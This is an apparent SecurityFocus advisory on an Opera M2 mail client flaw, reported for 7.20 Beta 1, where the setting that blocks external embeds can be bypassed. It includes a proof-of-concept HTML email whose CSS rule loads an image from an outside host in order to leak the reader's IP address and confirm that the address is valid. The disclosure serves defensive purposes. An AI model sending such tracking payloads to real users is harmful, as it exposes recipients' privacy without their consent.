source: http://www.securityfocus.com/bid/8254/info

The Opera M2 Mail Client is vulnerable to a policy circumvention issue that could allow information to be disclosed to a remote attacker. It is possible for an attacker to bypass the option to suppress the viewing of external embeds. This could allow the attacker to learn the IP address of a vulnerable user and to determine if an e-mail address is valid.

This vulnerability was reported to only affect Opera 7.20 Beta 1 build 2981.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<style type="text/css">
omf|headers { background-image: url(http://www.example.com/t.png) }
</style>
</head>
<body>
{ Normal mail body here }
</body>
</html>